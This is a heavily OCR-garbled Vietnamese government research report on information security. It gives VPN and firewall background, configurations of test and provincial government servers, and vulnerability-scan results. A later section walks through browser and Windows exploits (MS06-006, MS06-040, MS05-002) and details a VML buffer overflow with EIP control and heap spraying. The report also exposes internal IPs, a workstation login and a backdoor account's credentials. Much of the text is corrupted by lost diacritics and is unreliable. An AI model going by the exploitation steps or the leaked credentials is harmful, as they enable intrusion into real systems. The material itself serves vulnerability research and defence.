ndi b6 la ding VPN. VPN mé mdt kénh truyén dir liéu riéng (tunnel) trén cac
dudmg truyén mang cong cdng c6 sin dé bao dam bao mét cho théng tin truyén
trén mang cong cdng. Cac thong tin truyén trén kénh riéng déu duoc ma hoa.

VNP hd trg céc co ché quan ly képh khac nhau. Tuy vao diéu kién thgc té caa
don vi ma ta thiét lap VNP voi che d6 quan 1y kénh thich hop. Céc che d quin
ly kénh hién nay dang ho tro la: PPTP, L2TP/IPSec va IPSec.

Hinh sau vi du v& mot cau hinh phé bién cia VNP dwogc ap dung dé két néi
mang chi nhanh véi mang cong ty me:
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172.16.20.0/24

DMz

172.16.21.0624
Tunnel
< Server
gy

Internal e

Firewall
"""" Extemnal
Firewall

Tunnel

/ Server

1721622024

Tham khao bang sau d& hd tro cho quyét dinh chon ché d¢ quan ly kénh khi

thiét lap VNP:
Sirdung Trong trwémg hop
PPTP Mang ma Remote Access Server (Tunnel server)
thudc vé co s dung NAT.
Mang chi cdn ching thuc thong tin ngudi ding.
L2TP/IPSec Mang cén chimg thuc ca théng tin ngudi dung 14n

thong tin may client.

Mang ma Remote Access Server (Tunnel éerver)
thugc vé khong st dung NAT.
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IPSec Mang ma Remote Access Server (Tunnel server)
thudc vé khong sir dung NAT.

Mang chi cin chiing thuc thong tin may client.

12./ Bao mit Internet

Déi voi nhitng don vi ¢6 nhu ciu dua mot s6 tai nguyén nao d6 1én mang va
cho phép cac user ngoai Internet truy cdp vao (vi du nhu cac website) thi vin
d& 1am sao dé g101 han cho céc user d6 chi dugc truy cap trong ding pham vi
ctia ho 1a mot van dé rit quan trong. Mot trong nhimg giai phap chinh cho vén
d2 nay 1a thiét 1dp duoc mot hé théng firewall hop ly ¢é dap (mg nhu cau bao
maét.

M6t mé hinh thudng thiy khi td chirc firewall 13 trién khai mot firewall giita
mang extranet va mang Internet (extranet 1 viing thuc mang cuc bé bén trong
chira cac tai nguyén cho phép cac user tir [nternet truy cap). Hinh sau minh hoa
t6 chirc firewall dang nay:

Ngoati ra, cling ¢6 mdt s6 noi dung 2 firewall: mgt dét giita extranet va Internet,
mt dat gilfa extranet va mang cuc bd bén trong. Lic dé vung chinh giira 2
firewall duoc geoi 1a DMZ (Demilitarized Zone). Lam nhu vay s€ giup bao vé
dugc mang bén trong néu nhur firewall bén ngodi bi tAn cong va t6n hai.

Dé c6 thé hé trg ngudi quan tri bao vé mang, mot firewall thuong hd tro céc
tinh ning chinh sau:

* NAT (Network Address Translation): tinh ndng nay thuc hién viéc thay
ddi dia chi that cia ngudn giri goi tin tir mang cuc bg trong goi tin thanh
mét dia chi khac trudc khi chuyen g6i tin ra ngoai Internet. Diéu nay gitip
cho user ngoai Internet khong thé biét duoc dia chi that cia mang cuc bg.
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Ngodi ra tinh nang nay ciing cho phép thay d5i luén théng tin vé port cia
dia chi ngudn trong goi tin.

e Loc g6i tin: chin céc gbi tin khong hop 18 bang cach dira vao céc quy tic
dwoc chi ra dé 4p dung cho viéc loc ndi dung cdc géi tin. Cic ndi dung
trong gbi tin duoc dimg cho viée loc 1a: dia chi nguén, port nguén, dia chi
dich, port dich, giao thirc.

e Anh xa dia chi tinh: tinh nay anh xa dia chi that su bén trong mang cuc bd
clia mdt server trong ving extranet véi dia chi cong cong dung cho user
Internet.

e Kiém tra trang thai cia cac phién két nbi: phat hién va ngin chin cac két
ndi bét thuomg dén server dé han ché cic kiéu tin cong doat session.
Firewall thuc hién didu nay bang cach giam sit va quan 1y chit ché cac
giai doan ciia cac két ndi.

e Cic tinh ning ning cao dé phat hién va phong chéng céc loai tin cong phd
bién vao mang cuc bd: thong thuong cac tinh ning nay hoat dong bang
cach theo dd1 time-out cia cac phién lam vi€éc va duyét ndi dung géi tin.
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CHUONG I "
KET QUA TRIEN KHAI THU NGHIEM

1./ CAU HINH CUA CAC HE THONG DUNG CHO VIEC THU NGHIEM PE

TAI

1./ Xay dung hé théng ding thir nghiém tai Trung Tam Ung dung Tién bd
Khoa hoc va Céng nghé

May chii :Server (FPT ELEAD)

ComputerName: SERVER
TypeDomain: Primary Domain Controller.
'Domain: catechbrvt.com
Protocol: TCP/IP.
Hé diéu hanh: Microsoft Windows Server 2003 Enterprise.

Cac trinh ng dyng: IE 6.0, Norton Anti virus Server 8.0, Windows Media
Player 9.0, SQL 2000 Server, Microsoft Office 2003, MS .Net framework
1.1.

IP address 192.168.10.1
255.255.255.0

Gw: 10.0.0.138

DNS: 192.168.10.1
Cac Service va cic tién ich:
DNS: ( str dung): dich vu chinh
Active Directory...( st dung ).
DHCP server.( sir dung )
IIS service.( sir dung ).
Hé théng File lvu trit NTFS ( sir dung ).
Remote Desktop ( sir dung ). '
Group policy ( st dﬁng ).
Direct X.

+ + + 4+ 4+ o+ o+ o+

Maiy tram
- ComputerName: HIEN
- Domain: catechbrvt.com
- Hé diéu hanh: Microsoft WindowsXP Professional, Sp2, Sp3.

187



- Cac trinh Gng dung: IE 6.0, Windows Media Player 9.0, Microsoft
Office 2000, Visual Studio NET 2003.

- Protocol: TCP/IP.
- [P address: 192.168.10.5
255.255.255.0

Gw: 10.0.0.138

DNS: 192.168.10.1
- Cac Service va cac tién ich:

+  File and Printer sharing for Microsoft Network.

Client for Microsoft Network.
QoS Packet Schedule.
DNS server address.
IIS Service.
Gateway address.
Direct X.

+ o+ o+ o+ + o+

May tram WIN2K
- ComputerName: win2k
- Domain: catechbrvt.com
- Hé diéu hanh: Microsoft Windows 2000 Professional, Sp4.

- Céc trinh tng dung: IE 6.0, Windows Media Player 9.0, Visual Studio
.NET 2003. :

- Protocol: TCP/IP.
- [P address: 192.168.10.6
- 255.255.255.0

Gw: 10.0.0.138

DNS: 192.168.10.1
- Cac Service va cac tién ich:
File and Printer sharing for Microsoft Network.
Client for Microsoft Network.
QoS Packet Schedule.
IIS Service.
DNS server address.
Gateway address.

+ + + + + o+

188



+  Direct X.

2./ Ap dung thi diém tai hé thong cia vin phong HDND & UBND huyén Tin
Thanh

May chi Server01 (IBM xSeries x236)
- ComputerName: SERVEROI
- TypeDomain: Primary Domain Controller.
- Domain: tanthanh.bariavungtan.egovn.vn
- Protocol: TCP/IP.
- Hé diéu hanh: Microsoft Windows Server 2003 Enterprise.

- “Céc trinh tmg dung: IE 6.0, Norton Anti virus Server 8.0, Power Chute,
Windows Media Player 9.0.

- IP address 10.206.176.5
255.255.255.192
Gw: 10.206.176.62
DNS: 10.206.176.5
10.206.176.6
- Cac Service va cac tién ich:
DNS: ( str dung): dich vu chinh
Active Directory...( st dung ).
DHCP server.( sir dung )
IIS service.( st dung ).
RAS (str dung)
Raid 1: ('sir dung).
Hé thdng File huu trit NTFS ( sir dung ).
Remote Desktop ( sir dung ).
Group policy ( st dung ).

+ + + + + + + + 4+

Backup Tape drive. (sir dung)

May chiu Server02 (IBM xSeries x235)
ComputerName: SERVER02
TypeDomain: Backup Domain Controller.

Domain: tanthanh.bariavungtau.egovn.vn .
Protocol: TCP/IP.
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Hé diéu hanh: Microsoft Windows Server 2003 Enterprise.

Cac trinh ung dung: IE 6.0, SQL 2000 Server, Norton Anti virus Server 8.0,
WSUS, Windows Media Player 9.0.

IP address: 10.206.176.6
255.255.255.192
Gw: 10.206.176.62
DNS: 0.206.176.6

10.206.176.5

Céc Service va cactién ich:

DNS : Backup cho Server(1

Active Director : Backup cho Server01

RAS

Raid |

Hé théng File huu trir NTFS .

Group policy

+ + + + + +

May chil Server03: Firewall Server
ComputerName: SERVERO03
TypeDomain: Member Domain.
Domain: tanthanh.bariavungtau.egovn.vn
Protocol: TCP/IP.
Hé diéu hanh: Microsoft Windows Server 2003 Enterprise. -

Cac trinh tng dung: IE 6.0, Norton Anti virus Server 8.0, Windows Media
Player 9.0, ISA Server 2004 Enterprise.

IP address

+Internal: 10.206.176.7
255.255.255.192
Gw: 10.206.176.62
DNS: 10.206.176.5

10.206.176.6

+External: 192.168.100.1
255.255.255.0
Gw: 192.168.100.138
DNS: 203.162.0.181
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210.245.31.10

- Service dang chay :
+ Hé théng hru trir dix lidu mang (backp dit liéu mang).

May chii Server04 Phin mém ding chung (PMDC112)

-

ComputerName: pmdc112
Domain: Domain Member
Hé didu hanh: Microsoft Windows 2000 advance Server.

Céac trinh ¢mg dung: Domino Server 6.5, IE 6.0, SQL Server 2000,
Windows Media Player 9.0, Norton Anti virus Server 8.0.

Protocol: TCP/IP.

- IP address:

10.206.176.8

255.255.255.192

Gw 10.206.176.62

DNS: 10.206.176.6
10.206.176.5

- Cac Service va cac tién ich:

+ DNS: ( sir dung): dich vu chinh

+  IIS service.( sir dung ).

+  Hé thdng File luu trit NTFS ( st dung ).
+  Remote Desktop ( sir dung ).

Maiy tram (FPT Elead) sir dung HDH Windows 2000XP SP2 thuéc VLAN
“vanphong”

ComputerName: thuannv

UserName: thuannv

Password: thuannv

Domain : tanmanh.bariavungtau.egov;vn.
Hé diéu hanh: Microsoft Windows XP SP2.

Cac trinh umg dung: IE 6.0, Microsoft Office 2003, Windows Media
Player 9.0, Norton Anti virus client 8.0, Winzip, LVTD 2002,

Protocol: TCP/IP.
IP address:
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10.206.176.142

255.255.255.224

Gw: 10.206.176.192

DNS: 10.206.176.6
10.206.176.5

- Cac Service va cac tién ich:
+  File and Printer sharing for Microsoft Network.
Client for Microsoft Network.

+ QoS Packet Schedule.
+  DNS server address.
+  Gateway address.

3./ Hé thong ciia vin phong S& KH&CN tinh
May chi :Svrsokhe (Compaq ML530)
- ComputerName: Svrsokhc
- TypeDomain: Primary Domain Controller.
- Domain: sokhcn.bariavungtau.egov.vn
- Protocol: TCP/IP.
- Hé diéu hanh: Microsoft Windows 2000 Advance Server.

- Céc trinh tng dung: IE 6.0, Norton Anti virus Server 8.0, Win Power 2000,
SQL 2000 Server, Windows Media Player 9.0, MS.Net Framework 1.1

- IP address 192.168.1.5 -
255.255.255.0
Gw :
DNS: 192.168.1.5

- Cac Service va cac ti€n ich:

DNS: { str dung): dich vu chinh

Active Directory. ..( sir dung ).

DHCP server.( sir dung )

IIS service.( str dung ).

Hé théng File hru trir NTFS ( sir dung ). -
Remote Desktop (. str dung ).

+ + + + + +
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+  Group policy ( st dung ).
May chi :bksokhcn (HP E800)
ComputerName: bksokhcn
TypeDomain: Backup Domain Controller.
Domain: sokhcn.bariavungtau.egov.vn .
Protocol: TCP/IP.
~ Hé diéu hanh: Microsoft Windows 2000 Advance Server.

Cac trinh ung dung: IE 6.0, Norton Anti virus Server 8.0, Windows Media
Player 9.0.

IP address: 192.168.1.5
| 255.255.255.0

Gw :

DNS: 192.168.1.6

| 192.168.1.5

Cac Service va cactién ich:
+ DNS: Backup cho Svrsokhe
+  Active Director : Backup cho Svrsokhc
+  Hé théng File hru trit NTFS .
+  QGroup policy

May chii: ISAServer (FPT Elead) Firewall Server
ComputerName: SERVERO03
TypeDomain: Workgroup.
Protocol: TCP/IP.
Hé diéu hanh : Microsoft Windows 2000 Advance Server.

Cac trinh Umg dung: IE 6.0, Norton Anti virus Server 8.0, Windows Media
Player 9.0, ISA Server 2000 Enterprise, MS.Net Framework 1.1.

[P address
192.168.1.8
255.255.255.0
Gw
DNS: 192.168.1.5
192.168.1.6
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May tram Giamdoc sir dung HDPH WindowsXP SP2

ComputerName: giamdoc
Domain: sokhcn.bariavungtau.egov.vn
Hé diéu hanh: Microsoft Windows XP SP2.

Céc trinh ng dung: IE 6.0, Microsoft Office 2000, Windows Media
Player 9.0, Norton Anti virus client 8.0, Winzip, LVTD 2002.

Protocol: TCP/IP.
IP address:
192.168.1.12
255.255.255.0
DNS: 192.168.1.5
192.168.1.6
Cac Service va cac tién ich:
+  File and Printer sharing for Microsoft Network.
Client for Microsoft Network.
QoS Packet Schedule.
DNS server address.
Proxy address.

+ 4+ o+ 4

II; KET QUA AP DUNG CONG CU PHAT HIEN LO HONG BAO MAT
CHO CAC HE THONG THU NGHIEM

1./ Thong ké két qua

Phén nay chi thong ke cac ket qua quét va sira cac 13i hé théng trén cac hé thong
thir nghiém. Chi tiét cy thé vé tit ¢ cac 13i xin tham khao céc bién ban thyuc hién
trong Ung.

1.1/ H¢ thong ciia viin phong HDND & UBND huyén Tén Thanh

T May Phat hién Da sira Con lai

% %
1| Server0l 78 721 923 6 7.7
2 | Server(2 78 721 923 6| 7.7
3 | Server03 78 72| 92.3 6| 7.7
4 | Server04 72 68| 944 4| 56
5 | May tram FPT Elead 51 51 100 0 0]
Téng 3571 335| 938 221 6.2
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_1.2./ Hé théng ciia vin phong S& KH&CN tinh

TT May Phat hién Da sira Con lai
% %
1 { Svrsokhc 83 78 94 5 6
2 | Bksokhen 83 79| 95.2 4] 48
3 | ISAServer 83 771 92.8 6 7.2
4 | Giamdoc 51 50 98 1 2
Téng 300 284 94.7 16| 53
1.3./ Hé thong diing thir nghiém ciia trung tim img dung tién b4 KHCN
TT | May " Phat hién Pi sita Con lai
| % %
Server 34 28 824 6| 176
2 | Hien (XP SP2) 51 51| 100 0 0
Win2K (SP4) 83 83| 100 0 0
| Téng 168| 162| 96.4 6/ 3.6

1.4./ Téng két tit ca cac hé thong thir nghiém

S6 161 hé théng dugc phat hién: 825
S6 151 da sira duge: 781 chiém 94.7%

S4 161 con lai: 44 chiém 5.3%

2./ Panh gi4 vé khi niing phat hién va hj trg va 15i ciia cong cu
e Céng cu c6 thé phdt hién ra hiu hét cac 16i hé théng duge cong bé méi nhét .
cho dén thai diém thuc hi€n thir nghiém.
« Déi v6i mdi 15i hé thong phat hién duoc, cong cu cung cap cac thong tin vé
161 va dinh hudng stra 16i khé chi tiét d& ngudi ding c6 thé hiéu vé& 15i ciing

nhr c6 kha ning va 15i.

o Theo két qua thong ké, hdu hét c4c ban va 13i theo hudng dan cua cong cu
déu thue hién tét viée va cac 13i da phat hién. Con lai mot sb rét it cac 15i
chura vé duge do mot sé 1y do khach ‘quan nhu: Microsoft chua cong bd ban
va, chi moi céng bd 15i; hoac hé thong khong c6 license dé download ban

va.
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o Ngodi nhimg 13i vé hé thong, cong cu con phan tich vé tinh hinh béo mat
ciia cac user trén hé théng & canh bdo cho ngudi st dung (xem chi tiét vé
cdc canh bdo nay trong cac bién ban thye hién).

* H¢ théng ciing thuc hién phan tich registry cua hé théng dé dura ra céc thong
sé xac 1ap cia bao mat hién tai cho ngudi ding tham khdo va cho phép
nguoi dung thay ddi cac thong s nay cho phu hop véi yéu cdu bio mit
(xem chi tiét vé cac thong tin ndy trong cic bién ban thuc hién).

111/ MOT SO VI DU VE TAN CONG KHAI THAC CAC LOI HE THONG
1./ Quy trinh tin cong

Viéc tin cong vao mdt hé thng chinh 1a viéc do tim xem hé thdng d6 ¢6 cac 15
bong bao mét nao c6 thé khai thac hay khong. Néu tim thdy thi hacker s& thuc
hién ti€p viéc nghién ciru cach dé khai thac 16 hong d6. Sau khi 15 hong d6
dugc bit va lai thi hacker lai tlep tuc do tim mét 15 hong khac theo nhitng cich
khéc... N6i chung tit ca déu dua vio k¥ ndng va kinh nghiém cta hacker,
khéng cé mdt quy trinh cu thé ndo dugc dua ra d& hudng din céch tin céng
vao mot hé thdng ca.

Tuy nhién nguyén nhan ctia cac 16i bao mit lai c6 thé duoc tdng hop lai theo
mét sé dang (cac dang ndy da duoc chi ra & bao cdo giai doan 1) va do 46
théng thudng mot hacker mudn tAn cong mot hé thong thi s& do 18i cua hé
théng dua trén cac dz_mg d6. Vi du: tin cong tran bd dém, tin cong SQL
Injection, tan cdng DoS..

Pé cb the tan cong hi¢u qua vao mot hé théng, chi ¢6 cach 1a phai khao sat that
nhiéu vé& dang tin cong ma ta mudn thyc hién, tir 46 rén luyén cho minh k§
ning dé thao tac trén dang tin cong do.

D& gitip ngudi doc hiéu 6 hon vé ban chit clia tin céng, cac phin tiép theo
ching t1 s€ trinh bay va phén tich v€ cac k¥ thudt tin cong tran b dém.

Phéan 2: trinh bay cu thé vé mét sd kidu tin cong tran bo dém.

Phin 3: trinh bay khao sat chi tiét vé mot kidu tin cong tran by dém.

2./ Céc vi du cu thé vé tin cong

Vi du 1: L&i Windows Media Player Plug-In EMBED Overflow Universal Exploit
(MS06-006).

- Murc d§ nguy hiem Ngudi tan khi khai thac 18i nay thanh céng thi nguti
tAn cong co thé c6 toan quyen trén may bi tin cong.

- M4 15i: MS06-006.htm (Xem file phu luc).
- Thyc hién kiém tra trén:

+ Firefox 1.5.0.1.

+ Windows Media Player 10.
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+ Windows XP SP2 (US).

M3 ta quy trinh tin cong: Khi dung trinh duyét Firefox nhu mé ta trén
chay trén cac HDH co ton tai ma 16i (MS06- -006. htm). Néu may nay mic
16i thi mét tai khoan ngudi ding cung quyén véi Administrator dugc
thém vao.

Két qua: Néu khai thac thanh cong thi ngudi tn cdng c6 thé login vao
may tinh d6 bang tai khoan da dugc thém vao sau diy

Username: wmpOwn3d

Pasword: password

Vidu2: Léi Microsoft Intemnet Explorer VML Remote Buffer Overflow Exploit.

Mic d nguy hiém: Nguoi tan khi khat thac 16i nay thanh céng thi ngudi
thn cong co thé co toan quyeén trén may bi tan cong.

Mi 16i: VML.htm (Xem file phu luc).
Thuc hién kiém tra trén:

+ Windows XP.

+ Windows XP SP1.

+ Windows XP SP2.

Mb ta quy trinh tdn céng: Khi ding mét IE 6.0 chay trén cac HDH c6
tdn tai 181 chay file (VML .htm). Néu may nay miéc 151 thi ngudi thn cong
c6 thé thao tac cac 1énh trén may bj tin cong.

Két qua: Vi vi du trén néu ngudi tin cong thanh céng thi chuwong trinh
calc.exe s€ chay.

Vi du 3: Ldi Vulnerability in Routing and Remote Access Could Allow Remote
Code Execution.

Muc d nguy hiém: Ngudi tan khi khai thac 16i nay thanh cong thi ngudi
thn cong ¢ thé c6 toan quyén trén may bj tin cdng.

M3 16i: MS06-025.pm (Xem file phu luc).
Thuc hién kiém tra trén:
+ Windows 2000 SP4.
+ Windows XP SP0, SP1, SP2.
+ Windows 2003.
MB® ta quy trinh tin c6ng: Ding metasploits dé chay Modules nay.

Két qua Nguoi tan cong khi chay scripts nay c6 thé chay mét payload
trén may tinh bi tin cong va payloads nay tuy vao yéu céu cia ngudi tan
cong chon trén Metasploits.
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Ghi chti: Cin Metasploits Framework dé chay file trén.

Vi du 4: Lai Vulnerability in Server Service Could Allow Remote Code Execution.

Mirc d6 nguy hiém: Ngudi tan khi khai thac 18i nay thanh cang thi ngum
tin cong c6 thé c6 toan quyén trén mdy bi tin cong,

Mi 16i: MS06-040.pm (Xem file phuc lyc).

Thuc hién kiém tra trén:

Windows Server 2003 SPO.

Quy trinh tin cong: Dung metasploits & chay modules nay tin cong.

Két qua: Nguoi tAn cong c6 thé st dung mot Paloads cia Metasploit dé
m& mot shell t¢1 may tan cong.

Ghi chu: Pé chay file MS06-040 cin cai Metasploits Framework.

Vidu 3: Ldi Internet Explorer "createTextRang" Download Shellcoded Exploit.

Mirc d9 nguy hiém: Nguoi tan khi khai thac 18i nay thanh cbng thi ngudi
tin cOng c6 thé ¢ toan quyen trén may bi tin cong.

M3 15i; createTextRang.cpp (Xem file phu luc).
Thuyc hién kiém tra trén:
Internet Explore 6.0 & 7.0 Beta

Mb ta quy trinh tin cong: Ngudi tn cong c6 thé tao ra mét file (*.htm)
c6 chira ma 15i @ khai thac 18i trén. Va khi ding trinh duyét IE phién
ban 6.0 hodc 7.0(beta) néu nhw c6 tdn tai 15i thi ngudi tn cong cb thé
chay mét lénh bét ky nao d6 trén may bi tén cong.

Két qua: Néu khai thac thanh céng thi mdt chvong trinh download trén
may bi tdn ¢cOng khaot dong.

Vi du 6: Ldi Vulnerability in Windows Media Player Could Allow Remote Code

Execution.

Mirc dd nguy hiém: Nguoi tan khi khai thac 16i nay thanh cong thi ngudi
tin cdng co thé c6 toan quyen trén may bi tAn cOng.

Ma 15i: MS06-005.cpp (Xem file phu luc).
Thuce hién kiém tra trén:
Windows Media Player 7.0 ,8.0,10.0.

Mo ta quy trinh tin cong: D& tin cong thuong nguoi ding s& dua ma
1énh nay 1én mdt website va tim mdt cach nao d6 yéu cau ngudi dung sir
dung dudmg lien két (link) c¢6 chira ma lénh nay. Va khi d6 thi hé théng
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¢d chira ma 1énh nay s& kich hoat tir Wmdows Media Player c6 tdn tai
161 (MS06-005.cpp) .

Két qua: Néu mic 13i ny thi mt DOS s& khoi dong tir ma 16i trén.

Vidu 7: Lb&i Vulnerability in Microsoft Color Management Module Could Allow
Remote Code Execution.

Vi du 8:

Miuc dj nguy hiém: Ngudi tan khi khai thac 16i nay thanh cong thi ngu'm
tin cong cb thé c6 toan quyén trén may bi tin cong.

M3 15i: MS05-036.cpp (Xem file phu luc).
Thyc hién kiém tra trén:
Windows XP SP1 véi explorer.exe.

M3 ta quy trinh tan cong: Ngudi tin cong tao ra mot ma 16i dudi dang
hinh anh va ¢b ging cho ngudi dung xem hinh anh nay, khi hinh anh nay
duge xem tir mdt may nguoi dung nao do thi may dé néu nhu c6 ton tai
16 (MS05-036.cpp ) thi ngudi tin cong c6 cac quyén duge néu nhr trén.

Két qua: Chwong trinh may tinh s& khéi dong.

Ldi (MS05-002) Microsoft Internet Explorer .ANI Files Handling

Exploit(MS05-002).

Mirc dd nguy hiém: Ngudi tan khi khai thac 15i nay thanh cong thi ngudi
tn cong c6 thé ¢6 toan quyen trén may bi tan cong.

Ma 16i: MS05-002.htm va MS05-002.ani (Xem file phu luc).
Thyec hién kiém tra trén:

+ Windows Server 2003.

+ Windows XP SPI.

+ Windows XP SPO.

+ Windows 2000 SP4.

+ Windows 2000 SP3.

+ Windows 2000 SP2.

Mb ta quy trinh tn cong: Khi dung trinh duyét IE 6.0 chay trén cac
HDH c6 ton tai 16i chay file (MS05 -002.htm). Néu may nay mic 13i
(MS05-002.htm) thi ngudi ding cé thé kidm soat mdy tinh bing mot
chuong trinh remote (vd: telnet).

Ket qua: Néu khai thac thanh cong thi ngudi dung c6 thé ding telnet két
ndi vao may bj tin cong thanh cong véi quyén cia ngudi dang sir dung
may do.
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3./ Khio sit chi tiét v& 16i VML
Chi tiét ctia 13i c6 thé dugc tham khio tai:
https://www.microsoft.com/technet/security/bulletin/ms06-055.mspx.
L3i nay dugc cong 136 nge‘ly' 26/9/2006 day 1a mot kha méi. 16i nay xay ra khi
chiing ta dat vao phan method clia phuong thirc fill mét lugng dir liéu du 1on(
¢ trong tai liéu nay ching ta dung 65536 bytes 0OXAAAA dua vao phén
method). Trong phan khai thac nay ching ta thyc hi¢n trén Windows SP2 va
IE 6.0 voi tat ca version.

Tham khao file: VML_1.htm

Sau d6 ching ta dung mét chuong trinh Debuger dé kiém tra xem ma khai
thac ctia chiing ta s& thyc hién nhu the nao.(chuong trinh Debuger ma ching
to1 sir dung la Olldbg). Khi Debug ching ta s€ thdy nhwr sau:

(iybg EXRTORL FXL O main thread, medule vpxf

i Fle Yew Dubug Pluging Oplions ‘Window

4 lasrirr EPRoASHOTESS ¢ oooRaRae;
i OOMC2 Fen LML AL

L M ST R P N eSS NP STIRLA W R ST ERRIR IS5 i b e 2t LIy

KRN ve ugn ZLEDEDD frob o SDENECES

T paumd

Chiing ta s& thiy mot thdng bao tai thanh status nhu sau: Access violation
when writing to [00140000] d6 la dia chi chtra tai thanh ghi EDI. Va khi
chung ta bdé qua exception nay thi mét di€u tha vi s& xay ra nhu sau:
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Mdt thong bao 18i xuit hién vdi ndi dung nhu sau: “Don’t know how to
continue because memory at address AAAAAAAA is not readable...”. Iy do
vi sao thong bio nay lai xuét hién 13i nhu vay, chi c6 mot 1y do 1a chuwong
trinh dang cd thuc hién mét 1énh tai dia chi AAAAAAAA nhung t3i dia chi
nay khong tdn tai mét lénh nao ca nén chwong trinh IE cia chung ta bi Halt
va dua ra mét Exception va chuong trinh Debuger ctia ching ta bét dugc.
nhung khi dé y ky thi ta thy AAAAAAAA I3 mt trong nhitng phin dja chi
ma ta dura vao trong phan method cua file khai thic clia chiing ta. Néu diéu dé
[4 sir thit thi chung ta c6 thé hoan toan dieu khién thanh ghi EIP(thanh ghi tré
v€ cu l€nh ké tiép duge thuc thi). Nhy ta thay thanh ghi EIP dwoc 13p diy
bing gia tri AAAAAAAA:
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Va d¢ chéc chin ring EIP chira dif liéu ma ching ta dua vao hay khéng, ta
thir dua vao phan method 65536 bytes 0x0d0d.

Tham khao file: VML_2.htm
Chung ta cling nhan mdt thong bao twrong tu nhu sau:
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Nhur ta thiy noi dung cdu théng bdo 1a: “Don’t know how to continue because
memory at address 0DODODOD is not readable...”. Ma 0D0ODODOD la dir liéu
ma ta dua vao.

Vay la chung ta d3 chic ring c6 thé diéu khién hoan toan EIP va ddng thoi
khang dinh 14 IE ma ta dang khai thac c6 tdn tai 18i ndy. Piéu ma mdt ngudi
tin cong c6 thé luén mong mudn cé thé lam chi EIP dé cé thé dit vao EIP
mdt gid tri ma gia tri d6 sé trd t6i mot lénh thue hién mét Shellcode; c6 thé
shellcode d6 12 mé mot port trén may tinh bi tAn cong cho phép ngudi tén
cong xam nhap, hoic cling c6 thé do 12 mdt doan ma cho phép may tinh bj tin
cong tai vé mot chuong trinh nao d6 tir internet.... & diy dé minh dy cho diéu
do ching ta dung m§t ma 1énh cho phép chay mét chuong trinh trén may tinh
bi tAn cong: chuong trinh Calcultor (Calc.exe).

D¢ khai thc 16i ndy sdu hon ta ding mdt ky thuit Heap Spray cita Skyline da
dua ra khi khai thac trén mét [6i ndm 2004,

Pau tién ta tao ra khoang 50 Heaps, méi block c6 kich thuée 0x400000. va
khi ta ki€m tra tai dia chi 004040404 ta thay rang dia chi nay chi téi phén
dau Shellcode ctia chung ta nhu sau:
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0:000> dd 04040404

D4040404 90909090 90909090 50909090 90909090
04040414 90909080 90909090 90909090 90909830
04040424 90909090 90909090 90909030 90909090
04040434 90909090 9090909C¢ 90909090 S0909090
04040444 90909090 90909090 90909090 90909090
04040454 90909090 9009090 90909090 90909090
Q4040464 90909090 90909090 90909090 90909090
04040474 390909090 90909090 90905090 S09G9090

D6 1a phan nop ma chiing ta thém vao dau shellcode. Vay ta chi viéc thay thé
65536 bytes 0x0d0d cua ching ta thanh 0x0404 va khi con tré EIP chira
0x04040404 thi né chi téi phan dau shellcode cua chung ta va thyc hién chay

shellcode ma ching ta dua vao (Két Qua la chuong trinh Calculator dwoc
chay [én). ' '

‘Tham khéo file VML_3.htm. khi chay file nay thi chuong trinh Calculator mé
lén. Ta khai thac thanh cong 161 nay.
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PHZ\N V: KET LUAN VA DE XUAT.

A

Mc du nhimg ndi dung nghién ciu cia dé tai 1a rat rong lon va phirc tap
nhim phat trxen cong nghé va cac giai phap trong Iinh virc bao mat thong tin dién tir,
tuy nhién vé co ban nhitng myc tidu dwoc dit ra cia d8 tai d3 dugc thyc hién thanh
cong. :

1./ CAC KET QUA CHINH CUA PE TAI

1./ Khdo sat mdt cach tdng quan hién trang ciia nhimg vén dé bao mat thong tin
hién nay trén thé g101 va trén co s& phén tich hién trang da chi nhu ciu tit yeu
cta viéc xay dyng va phat trién cong nghé bao mat Viét Nam.

2./ Khéo sat hién trang bao mat thong tin trong cic hé théng mdy tinh thudc dién
quan ly nha nudc cia tinh Ba Ria - Viing Tau, dé trén co s& d6 xac dinh duoc
hién trang va d& xuét duoc cac giai phap khic phuc hiéu qua.

3./ Khao sat mot cach toan dién cac dang 16 hong bao mit trong cic mdi trudmg:
e WINDOWS 32bit (Windows 2000, Windows NT, Windows XP,...) .
o (Cac moi trudng Ung dung nhu: MS office, MS Word, MS Assces,...
e Bing thong mang
s (Cac hé quan tri CSDL
.

Da dua ra viéc phan loai cdu triic cac dang 16i (16 hdng) bao mat dya trén céic k§
thuat tan c6ng va da chi ra cic gidi phap phong thua.

4./Xay dung cdng cu do tim va khic phuc céc 15i bdo mat trong cic mdi truong
WINDOWS 32bit (Vulnerabilities Detector and Analyser).

Trén co s& cac 16 hdng va cdc ban v4 16i cta hing Microsoft da dugc cong bd, hé
thdng c6 thé do tim dé phat hién va tién hanh khic phuc duge hiu nhu tht ca cac
18i bao mat trong mdi trudng Windows 32 bit va trong tit ca cdc mdi truong tmg
dung quan trong dugc nhing trong do. Hé théng nh4n dang dugc thuc hién thanh
cong mdt mat, truc tiép dua trén céc dat trung 16i va mit khéc, budc diu thyc
nhén dang 13i thong minh dua trén co ché ma chirng minh.

Hé th()ng dé sir dung va cai djt trén tit ca cdc mdi trrdng tmg dung cuc bd ctia
hé diéu hanh Windows 32 bit.

Tinh hiru hiéu cua coéng cu da dugc minh chimg thong qua cic théng k& két qua
thtr nghi€ém da dugc trinh bay trong Béo cao.

5./ Xay dung b¢ giai phap Bdo mit va An ninh Mang cho méi trudmg Windows

Véi vige thuc hién mot cach nghiém tic va dung dén céc hudng din va chi din
cua b Giai phap s€ giip cho ngudi dung cling nhu nha quan tri mang co6 thé
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quan ly mdt cich an toan va tdt nhét nhimg tai nguyén thdng tin cia minh dép
g cic muc tiéu da dugc dit ra.

B§ Gidi phap va cong cu Vulnerablhtxes Detector and Analyser mdt mit, cé thé
dung lam tai liéu huén luyén vé bao mit va an ninh mang; mat khac, cé thé dua
vao ap dung ngay cho céc hé théng may tinh gbp phan néng cao tinh tinh an toan
va hiéu qua cua viéc quan ly va khai thac cac hé théng théng tin dién tir thude
dién quan ly nha nuée cua Tinh Ba Ria — Viing Tau va cac thanh phén kinh té xa
hoi khac cua tinh.

1L/ CONG TAC PAO TAO, TAP HUAN
Theo ndi dung duoc duyét, vé cong tac dio tao, tip huén ¢6 2 phén:

- Té chitc hi nghl gidi thiéu két qua clia d€ tai: s& thuc hién sau khi Hdi
ddng khoa hoc c6 két luin nghiém thu dé tai, cu thé:

+ Thanh phin tham dy: Linh dao va chuyén vién quan trj mang cic S¢
nganh, huyén thi thanh phd, cic co qaun ding, doin thé, cic co quan
trung wrong dong trén dia ban,..

+ Thoi gian: sau khi nghiém thu dé tai.
